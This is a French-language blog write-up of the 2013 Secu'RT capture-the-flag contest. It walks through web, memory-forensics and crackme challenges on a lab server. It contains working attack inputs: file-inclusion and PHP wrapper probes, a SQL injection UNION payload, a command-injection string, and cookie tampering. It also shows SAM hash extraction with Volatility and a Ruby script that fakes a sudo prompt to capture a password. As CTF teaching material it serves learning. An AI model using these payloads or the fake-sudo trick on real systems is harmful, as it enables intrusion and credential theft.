Secu'RT - Writeup

Published on Monday, 25 March 2013 in CTF, Security ; tagged with ctf, write up, security, challenge, securt ; text version

CTF Secu'RT

Aujourd'hui s'est déroulé le CTF de la Secu'RT à Montbéliard.
Dans la matinée nous avons pu assister à des conférences sur le domaine de la sécurité plus ou moins intéressantes.
C'est vers 14h que les hostilités ont commencé.

Pour information, la Secu'RT a plus pour objectif de sensibiliser les gens à la sécurité.
C'est donc dans cet optique que les challenges ont été pensés.

J'y ai participé avec les membres de Hackgyver.
Nous avons du nous séparer en deux équipes pour équilibrer les forces.

Equipe 1 : Maijin et Futex (2e au classement) Equipe 2 : deadr0m1`, jvoisin et moi-même (1ère au classement héhé)

Le programme : RootBSD a mis en place les challenges.
Chacun était accessible à l'adresse 192.168.0.13:PORT, avec PORT pour passer d'une épreuve à l'autre.

SECU'RT : Les épreuves

Trois parties seront abordées lors de la compétition, chacune d'entre elles traitera un sujet lié à la sécurité informatique.
Le but de chaque épreuve sera d'identifier un code de validation afin de pouvoir entamer l'épreuve suivante.

Partie 1: Les vulnérabilités du Web

Partie 2: Computer forensics

Partie 3: Reverse engineering

Pour chacune de ces épreuves, un mot de passe doit être trouvé, ce mot de passe est à mettre en argument des binaires.
Si l'épreuve retourne OK, le mot de passe est le bon. Ce mot de passe est le code de validation.

Web

Challenge 1

URL: http://192.168.0.13:80/admin.php

Sur cette page on a un formulaire de connexion avec deux champs : Username et Password.
Mais pas besoin de chercher plus loin, ni de tester des SQLi ou quoi que ce soit.

En effet, en observant les cookies, un nouveau vient d'apparaitre : admin=0
On le passe à 1, on refresh et voilà, premier flag.

Code: EAD678UJHDE56

Challenge 2

URL: http://192.168.0.13:81/read.php?id=article1

Sur cette page on peut naviguer entre les différents articles avec article1, article2, etc.
Pour être honnête, on a mis du temps, beaucoup de temps pour valider cette épreuve...

read.php?id=passwd.php
read.php?id=passwd.php%00
read.php?id=../passwd.php
read.php?id=../passwd.php%00
read.php?id=/etc/passwd.php
read.php?id=/etc/passwd.php%00
read.php?id=php://filter/convert.base64-encode/resource=passwd.php
read.php?id=php://filter/convert.base64-encode/resource=passwd.php%00
<!-- <?php echo file_get_contents('passwd.php'); ?> -->
read.php?id=data://text/plain;base64,PD9waHAgZWNobyBmaWxlX2dldF9jb250ZW50cygncGFzc3dkLnBocCcpOyA/Pg0K

Lorsqu'on tentait d'accéder au fichier /passwd.php directement on avait une erreur 500.
On a donc tenté de modifier les headers de la requètes HTTP pour faire croire au serveur que la requête venait de l'interne.
Autant dire qu'on n'avait plus vraiment d'idée...

Après moultes essais et un petit coup de pouce, il s'est avéré que le script read.php fonctionnait de la sorte :

<? include('/dir_art/' + $_POST['id'] + '.php'); ?>

Donc les articles étaient dans un dossier plus loin que passwd.php.
La version du serveur ne permettait pas l'insertion du null byte %00.

Ainsi, il fallait donc prendre avantage du script et profiter du hardcoding de l'extention.
On essaie alors http://192.168.0.13:81/read.php?id=../passwd

deadr0m1` remarque qu'il n'y a plus d'erreur sur la page comme Cet article n'existe pas... auparavant.
On regarde donc le code source :

<? php
code="SDG789997GRDS";
?>

Challenge 3

URL : http://192.168.0.13:82/index.php?username=USERNAME

Ici la page index.php nous permettait de récupérer des informations sur un utilisateur.
On se retrouve avec une injection SQL.

On écrit donc dans le champs la requête suivante :

" UNION SELECT password FROM users; --

Information sur l'utilisateur :

" UNION select password from users; --: QSD4876FDSGSazerty

Challenge 4

URL : http://192.168.0.13:83/index.php

Petite sneacky ici.
Un peu comme pour le challenge 2, on se retrouve un peu bloqué ici.
On a tenté pas mal de tests en aveugle, en essayant des failles au hasard.

Après quelques échanges, RootBSD nous a indiqué qu'il fallait plutôt s'orienter sur une malfaçon/manque de rigueur du programmeur.

J'avais d'abord pensé à un exploit Register Globals, en me disant que peut être, le programmeur passait par une variable globale pour savoir si on était connecté ou pas.
Après une dizaine d'essaies sur des noms triviaux comme logged, login, anonymous, visitor, admin, on a abandonné et on est passé à autre chose.

A force d'essayer, je suis tombé sur la solution :

http://192.168.0.13:83/index.php~

On voit alors apparait le flag dans le code source :

if ( $_POST['username'] == "admin" && $_POST['password'] == "SFDG6321FDSQ")

J'ai eu un peu de chance sur celle là car j'avais validé une épreuve similaire sur Root-Me quelques jours auparavant.

Challenge 5

URL : http://192.168.0.13:84/index.php

Sur cette page, un seul champ. L'indice est de récupérer le retour de /bin/validation.
On peut donc penser que le champ sera placé dans un appel system.

Avec ces indices, jvoisin a trouvé le flag en moins d'une demi seconde :p

&& /bin/validation

On obtient en retour :
Les information sur l'utilisateur sont:FSQFDERergffd09456jkj

Computer forensics

Challenge 6

A notre disposition, une archive kevin.pgz.
Elle contient principalement un dossier .mozilla, qui contient surement un profile pour Mozilla Firefox.

On l'importe avec le navigateur et on regarde les passwords sauvegardés.
Mais pour les lire, il faut aussi entrer un mot de passe.

Profil Firefox

On tente des mots de passe triviaux et on trouve kevin. On peut donc afficher les passwords enregistrés.

Password Firefox

Voilà, le flag est Thelastone.

Challenge 7

Pour cette épreuve, on nous met à disposition un dump mémoire de Windows.
J'ai donc sorti volatility pour pouvoir récupérer des informations intéressantes.

En premier, j'ai cherché à savoir de quel version de l'OS venait le dump :

hackgyver$ vol.py imageinfo -f memory.dmp
Volatile Systems Volatility Framework 2.0
          Suggested Profile(s) : WinXPSP3x86, WinXPSP2x86 (Instantiated with WinXPSP2x86)
                     AS Layer1 : JKIA32PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (memory.dmp)
                      PAE type : No PAE
                           DTB : 0x39000
                          KDBG : 0x8054cde0
                          KPCR : 0xffdff000
             KUSER_SHARED_DATA : 0xffdf0000
           Image date and time : 2013-02-10 14:39:48
     Image local date and time : 2013-02-10 14:39:48
          Number of Processors : 1
                    Image Type : Service Pack 3

Ensuite j'ai voulu regarder les clefs de registre :

hackgyver$ vol.py hivelist --profile WinXPSP3x86 -f memory.dmp
Volatile Systems Volatility Framework 2.0
Virtual     Physical    Name
0xe18d5008  0x09449008  \Device\HarddiskVolume1\Documents and Settings\kevin\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat
0xe17be530  0x07dd5530  \Device\HarddiskVolume1\Documents and Settings\kevin\NTUSER.DAT
0xe15689e8  0x05e549e8  \Device\HarddiskVolume1\Documents and Settings\LocalService\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat
0xe1562008  0x05e47008  \Device\HarddiskVolume1\Documents and Settings\LocalService\NTUSER.DAT
0xe153cb48  0x05845b48  \Device\HarddiskVolume1\Documents and Settings\NetworkService\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat
0xe1535008  0x0576f008  \Device\HarddiskVolume1\Documents and Settings\NetworkService\NTUSER.DAT
0xe1377b60  0x02e86b60  \Device\HarddiskVolume1\WINDOWS\system32\config\software
0xe1375008  0x02df4008  \Device\HarddiskVolume1\WINDOWS\system32\config\SAM
0xe134a6e0  0x025c56e0  \Device\HarddiskVolume1\WINDOWS\system32\config\SECURITY
0xe1375b60  0x02df4b60  \Device\HarddiskVolume1\WINDOWS\system32\config\default
0xe1254a18  0x019d3a18  [no name]
0xe1018258  0x01794258  \Device\HarddiskVolume1\WINDOWS\system32\config\system
0xe1007260  0x01754260  [no name]
0x8068f9bc  0x0068f9bc  [no name]

La clef SAM contient les hashs des mots de passe des utilisateurs.
Je l'ai donc extraite :

hackgyver$ vol.py hashdump --profile WinXPSP3x86 -f memory.dmp -y 0xe1018258 -s 0xe1375008
Volatile Systems Volatility Framework 2.0
Administrateur:500:193db29cb51fd313aad3b435b51404ee:aa6d7e7fdad2abead936f133502d49b8:::

On passe ces deux hashs dans un decode online pour LM et NTLM, ce qui nous donne :

193db29cb51fd313aad3b435b51404ee LM: DEMO
aa6d7e7fdad2abead936f133502d49b8 NTLM: DEMO

Challenge 8

L'archive donnée contient un fichier .passwd et un script Ruby .tool.

\iam`}tF|W}w{t|t|y&7

On comprend vite que le mot de passe est chiffré et que l'algo utilisé est contenu dans le script.

#!/usr/bin/env ruby

require 'highline/import'

def get_password(prompt="[sudo] password for kevin: ")
  ask(prompt) {|q| q.echo = false}
end
cmd = "/usr/bin/sudo " + ARGV[0]
i = 0
password = get_password()
File.open('/home/kevin/.password', 'w') do |f|
  password.each_byte { |x|
    f.putc x ^ 0x0B + i
    i = i+1
  }
end
puts 'Sorry, try again.'
exec(cmd)

Apparament, peu de monde apprécie le Ruby ici.
La majorité des personnes ayant validé cette épreuve est passé par Python pour reverse le chiffrage.
So we did :)

#!/usr/bin/env python2.7


passwd = "\iam`}tF|W}w{t|t|y&7"


def decrypt(password):
    decrypted = ''
    for i in range(len(password)):
        decrypted += chr(ord(password[i]) ^ 0x0B + i)
    return decrypted


if __name__ == "__main__":
    print 'Encrypted password:', passwd
    print 'Decrypted password:', decrypt(passwd)

Ce qui donne :

hackgyver$ ./decrypt.py
Encrypted password: \iam`}tF|W}w{t|t|y&7
Decrypted password: WelcomeToChallenge;)

Reverse engineering

Challenge 9

Premier crackme PE, très simple. Un strings suffit pour trouver le flag.

hackgyver$ strings epreuve9.exe
h$0@
h-0@
h00@
SDFG456376
libgcj_s.dll
_Jv_RegisterClasses
%s code
ExitProcess
GetModuleHandleA
GetProcAddress
SetUnhandledExceptionFilter
__getmainargs
__p__environ
__p__fmode
__set_app_type
_cexit
_iob
_onexit
_setmode
atexit
exit
printf
puts
signal
strcmp
KERNEL32.dll
msvcrt.dll

On l'essaie :

hackgyver$ wine epreuve9.exe SDFG456376
OK

Challenge 10

Ici, strings ne nous permet pas de lire le flag.
Par contre, on remarque que la fonction strcmp est utilisée.

Il suffit donc de poser un break point lors de son appel pour voire ce qui est comparé.
Pour ce faire, j'ai utilisé OllyDbg.

OllyDbg epreuve10

On essaie sur le binaire.
(Juste pour info, le '\' est là car sinon bash interprète '!7')

hackgyver$ wine epreuve10.exe AFNK1\!7A
OK

Challenge 11

Dans ce binaire, le mot de passe n'apparait pas clairement et il n'y a pas de test avec strcmp.
Le flag est testé dans le fonction check_password. Voyons ça de plus près avec gdb et peda.

gdb-peda$ dis check_password
Dump of assembler code for function check_password:
   0x0804845a <+0>: push   ebp
   0x0804845b <+1>: mov    ebp,esp
   0x0804845d <+3>: push   edi
   0x0804845e <+4>: sub    esp,0x4
   0x08048461 <+7>: mov    eax,DWORD PTR [ebp+0x8]
   0x08048464 <+10>:    mov    DWORD PTR [ebp-0x8],0xffffffff
   0x0804846b <+17>:    mov    edx,eax
   0x0804846d <+19>:    mov    eax,0x0
   0x08048472 <+24>:    mov    ecx,DWORD PTR [ebp-0x8]
   0x08048475 <+27>:    mov    edi,edx
   0x08048477 <+29>:    repnz scas al,BYTE PTR es:[edi]
   0x08048479 <+31>:    mov    eax,ecx
   0x0804847b <+33>:    not    eax
   0x0804847d <+35>:    sub    eax,0x1
   0x08048480 <+38>:    cmp    eax,0xa
   0x08048483 <+41>:    je     0x804848f <check_password+53>
   0x08048485 <+43>:    mov    eax,0x0
   0x0804848a <+48>:    jmp    0x8048541 <check_password+231>
   0x0804848f <+53>:    mov    eax,DWORD PTR [ebp+0x8]
   0x08048492 <+56>:    movzx  eax,BYTE PTR [eax]
   0x08048495 <+59>:    cmp    al,0x41
   0x08048497 <+61>:    je     0x80484a3 <check_password+73>
   0x08048499 <+63>:    mov    eax,0x0
   0x0804849e <+68>:    jmp    0x8048541 <check_password+231>
   0x080484a3 <+73>:    mov    eax,DWORD PTR [ebp+0x8]
   0x080484a6 <+76>:    add    eax,0x1
   0x080484a9 <+79>:    movzx  eax,BYTE PTR [eax]
   0x080484ac <+82>:    movsx  edx,al
   0x080484af <+85>:    mov    eax,DWORD PTR [ebp+0x8]
   0x080484b2 <+88>:    movzx  eax,BYTE PTR [eax]
   0x080484b5 <+91>:    movsx  eax,al
   0x080484b8 <+94>:    add    eax,0x5
   0x080484bb <+97>:    cmp    edx,eax
   0x080484bd <+99>:    je     0x80484c6 <check_password+108>
   0x080484bf <+101>:   mov    eax,0x0
   0x080484c4 <+106>:   jmp    0x8048541 <check_password+231>
   0x080484c6 <+108>:   mov    eax,DWORD PTR [ebp+0x8]
   0x080484c9 <+111>:   add    eax,0x2
   0x080484cc <+114>:   movzx  eax,BYTE PTR [eax]
   0x080484cf <+117>:   cmp    al,0x6c
   0x080484d1 <+119>:   je     0x80484da <check_password+128>
   0x080484d3 <+121>:   mov    eax,0x0
   0x080484d8 <+126>:   jmp    0x8048541 <check_password+231>
   0x080484da <+128>:   mov    eax,DWORD PTR [ebp+0x8]
   0x080484dd <+131>:   add    eax,0x5
   0x080484e0 <+134>:   movzx  eax,BYTE PTR [eax]
   0x080484e3 <+137>:   cmp    al,0x7a
   0x080484e5 <+139>:   je     0x80484ee <check_password+148>
   0x080484e7 <+141>:   mov    eax,0x0
   0x080484ec <+146>:   jmp    0x8048541 <check_password+231>
   0x080484ee <+148>:   mov    eax,DWORD PTR [ebp+0x8]
   0x080484f1 <+151>:   add    eax,0x6
   0x080484f4 <+154>:   movzx  eax,BYTE PTR [eax]
   0x080484f7 <+157>:   movsx  eax,al
   0x080484fa <+160>:   mov    edx,DWORD PTR [ebp+0x8]
   0x080484fd <+163>:   add    edx,0x5
   0x08048500 <+166>:   movzx  edx,BYTE PTR [edx]
   0x08048503 <+169>:   movsx  edx,dl
   0x08048506 <+172>:   add    edx,0x1
   0x08048509 <+175>:   cmp    eax,edx
   0x0804850b <+177>:   je     0x8048514 <check_password+186>
   0x0804850d <+179>:   mov    eax,0x0
   0x08048512 <+184>:   jmp    0x8048541 <check_password+231>
   0x08048514 <+186>:   mov    eax,DWORD PTR [ebp+0x8]
   0x08048517 <+189>:   add    eax,0x7
   0x0804851a <+192>:   movzx  eax,BYTE PTR [eax]
   0x0804851d <+195>:   cmp    al,0x32
   0x0804851f <+197>:   je     0x8048528 <check_password+206>
   0x08048521 <+199>:   mov    eax,0x0
   0x08048526 <+204>:   jmp    0x8048541 <check_password+231>
   0x08048528 <+206>:   mov    eax,DWORD PTR [ebp+0x8]
   0x0804852b <+209>:   add    eax,0x8
   0x0804852e <+212>:   movzx  eax,BYTE PTR [eax]
   0x08048531 <+215>:   cmp    al,0x33
   0x08048533 <+217>:   je     0x804853c <check_password+226>
   0x08048535 <+219>:   mov    eax,0x0
   0x0804853a <+224>:   jmp    0x8048541 <check_password+231>
   0x0804853c <+226>:   mov    eax,0x1
   0x08048541 <+231>:   add    esp,0x4
   0x08048544 <+234>:   pop    edi
   0x08048545 <+235>:   pop    ebp
   0x08048546 <+236>:   ret
End of assembler dump.

En premier, la fonction teste la longueur du password d'entrée 0x08048480. Il doit être composé de 10 caractères.
Ensuite, en suivant les tests un à un, on obtient le flag :

AFlDEz{23J

On teste ça.

hackgyver$ ./epreuve11 AFlDEz{23J
OK

Challenge 12

Comme pour le précédent, pas de flag harcodé ni de strcmp en évidence. Par contre on remarque l'appelle de la fonction base64.

gdb-peda$ dis main
Dump of assembler code for function main:
   0x08048784 <+0>: push   ebp
   0x08048785 <+1>: mov    ebp,esp
   0x08048787 <+3>: push   edi
   0x08048788 <+4>: push   esi
   0x08048789 <+5>: and    esp,0xfffffff0
   0x0804878c <+8>: sub    esp,0x30
   0x0804878f <+11>:    cmp    DWORD PTR [ebp+0x8],0x1
   0x08048793 <+15>:    jg     0x80487a2 <main+30>
   0x08048795 <+17>:    mov    eax,DWORD PTR [ebp+0xc]
   0x08048798 <+20>:    mov    eax,DWORD PTR [eax]
   0x0804879a <+22>:    mov    DWORD PTR [esp],eax
   0x0804879d <+25>:    call   0x8048674 <usage>
   0x080487a2 <+30>:    mov    eax,DWORD PTR [ebp+0xc]
   0x080487a5 <+33>:    add    eax,0x4
   0x080487a8 <+36>:    mov    eax,DWORD PTR [eax]
   0x080487aa <+38>:    mov    DWORD PTR [esp+0x1c],0xffffffff
   0x080487b2 <+46>:    mov    edx,eax
   0x080487b4 <+48>:    mov    eax,0x0
   0x080487b9 <+53>:    mov    ecx,DWORD PTR [esp+0x1c]
   0x080487bd <+57>:    mov    edi,edx
   0x080487bf <+59>:    repnz scas al,BYTE PTR es:[edi]
   0x080487c1 <+61>:    mov    eax,ecx
   0x080487c3 <+63>:    not    eax
   0x080487c5 <+65>:    sub    eax,0x1
   0x080487c8 <+68>:    mov    edx,eax
   0x080487ca <+70>:    mov    eax,DWORD PTR [ebp+0xc]
   0x080487cd <+73>:    add    eax,0x4
   0x080487d0 <+76>:    mov    eax,DWORD PTR [eax]
   0x080487d2 <+78>:    mov    DWORD PTR [esp+0x4],edx
   0x080487d6 <+82>:    mov    DWORD PTR [esp],eax
=> 0x080487d9 <+85>:    call   0x804869a <base64>
   0x080487de <+90>:    mov    DWORD PTR [esp+0x2c],eax
   0x080487e2 <+94>:    mov    eax,DWORD PTR [esp+0x2c]
   0x080487e6 <+98>:    mov    edx,0x8048909
   0x080487eb <+103>:   mov    ecx,0x15
   0x080487f0 <+108>:   mov    esi,edx
   0x080487f2 <+110>:   mov    edi,eax
   0x080487f4 <+112>:   repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]
   0x080487f6 <+114>:   seta   dl
   0x080487f9 <+117>:   setb   al
   0x080487fc <+120>:   mov    ecx,edx
   0x080487fe <+122>:   sub    cl,al
   0x08048800 <+124>:   mov    eax,ecx
   0x08048802 <+126>:   movsx  eax,al
   0x08048805 <+129>:   test   eax,eax
   0x08048807 <+131>:   jne    0x8048817 <main+147>
   0x08048809 <+133>:   mov    DWORD PTR [esp],0x804891e
   0x08048810 <+140>:   call   0x8048590 <puts@plt>
   0x08048815 <+145>:   jmp    0x8048823 <main+159>
   0x08048817 <+147>:   mov    DWORD PTR [esp],0x8048921
   0x0804881e <+154>:   call   0x8048590 <puts@plt>
   0x08048823 <+159>:   mov    eax,0x0
   0x08048828 <+164>:   lea    esp,[ebp-0x8]
   0x0804882b <+167>:   pop    esi
   0x0804882c <+168>:   pop    edi
   0x0804882d <+169>:   pop    ebp
   0x0804882e <+170>:   ret
End of assembler dump.

Notre password en entrée est converti en base 64. Ensuite il est comparé à un autre hash 0x080487e6.
On break sur cet offset pour récupérer le hash du flag de validation et on le décode avec Python.

>>> import base64
>>> base64.b64decode('RlFTRHFzZGYyMzE1R3NT')
'FQSDqsdf2315GsS'

On essaie le password.

hackgyver$ ./epreuve12 FQSDqsdf2315GsS
OK

Challenge 13

Pas de strings, pas de strcmp mais une fonction decode.
On regarde ce qu'elle contient :

gdb-peda$ dis decode
Dump of assembler code for function decode:
=> 0x0804845a <+0>: push   ebp
   0x0804845b <+1>: mov    ebp,esp
   0x0804845d <+3>: mov    eax,DWORD PTR [ebp+0x8]
   0x08048460 <+6>: movzx  eax,BYTE PTR [eax]
   0x08048463 <+9>: mov    edx,eax
   0x08048465 <+11>:    xor    edx,0x41
   0x08048468 <+14>:    mov    eax,DWORD PTR [ebp+0x8]
   0x0804846b <+17>:    mov    BYTE PTR [eax],dl
   0x0804846d <+19>:    mov    eax,DWORD PTR [ebp+0x8]
   0x08048470 <+22>:    lea    edx,[eax+0x1]
   0x08048473 <+25>:    mov    eax,DWORD PTR [ebp+0x8]
   0x08048476 <+28>:    add    eax,0x1
   0x08048479 <+31>:    movzx  eax,BYTE PTR [eax]
   0x0804847c <+34>:    xor    eax,0x42
   0x0804847f <+37>:    mov    BYTE PTR [edx],al
   0x08048481 <+39>:    mov    eax,DWORD PTR [ebp+0x8]
   0x08048484 <+42>:    lea    edx,[eax+0x2]
   0x08048487 <+45>:    mov    eax,DWORD PTR [ebp+0x8]
   0x0804848a <+48>:    add    eax,0x2
   0x0804848d <+51>:    movzx  eax,BYTE PTR [eax]
   0x08048490 <+54>:    xor    eax,0x43
   0x08048493 <+57>:    mov    BYTE PTR [edx],al
   0x08048495 <+59>:    mov    eax,DWORD PTR [ebp+0x8]
   0x08048498 <+62>:    lea    edx,[eax+0x3]
   0x0804849b <+65>:    mov    eax,DWORD PTR [ebp+0x8]
   0x0804849e <+68>:    add    eax,0x3
   0x080484a1 <+71>:    movzx  eax,BYTE PTR [eax]
   0x080484a4 <+74>:    xor    eax,0x44
   0x080484a7 <+77>:    mov    BYTE PTR [edx],al
   0x080484a9 <+79>:    pop    ebp
   0x080484aa <+80>:    ret
End of assembler dump.

Donc les 4 premières lettres du password est XOR_ed avec _ABCD et le résultat est comparé à CCBEA (dans le main).
On a donc écrit un script Python pour nous retrouver le password original et qui donne :

#!/usr/bin/env python2.7


passwd = 'CCBEA'
xor_tab = 'ABCD'


def decrypt(password):
    decrypted = ''
    for i in range(len(xor_tab)):
        decrypted += chr(ord(xor_tab[i]) ^ ord(passwd[i]))
    decrypted += passwd[-1]
    return decrypted


if __name__ == "__main__":
    print 'Encrypted password:', passwd
    plain = decrypt(passwd)
    print 'Decrypted password:', [
        hex(ord(plain[i])) for i in range(len(plain))
    ]

Le script nous retourne :

hackgyver$ ./decrypt.py
Encrypted password: CCBEA
Decrypted password: ['0x2', '0x1', '0x1', '0x1', '0x41']

On teste tout ça.

hackgyver$ ./epreuve13 $(python2.7 -c "print '\x02\x01\x01\x01\x41'")
CCBEA
OK

Petits mots de fin

Journée bien sympathique. Certes les challenges n'étaient pas très compliqués, mais on s'est bien amusé.
Il faut dire que c'était la première fois, en tout cas pour moi, qu'on faisait un CTF IRL. On peut dire que ça s'est bien passé :)

L'initiative de la Secu'RT est vraiment sympa et je pense qu'il faut que ça perdure.
J'espère que les gens qui ont assisté aux CTF ont appris quelques tricks et qu'ils reviendront l'année prochaine.

Sur ce, bonne fin de journée !


contactdepier.re License WTFPL2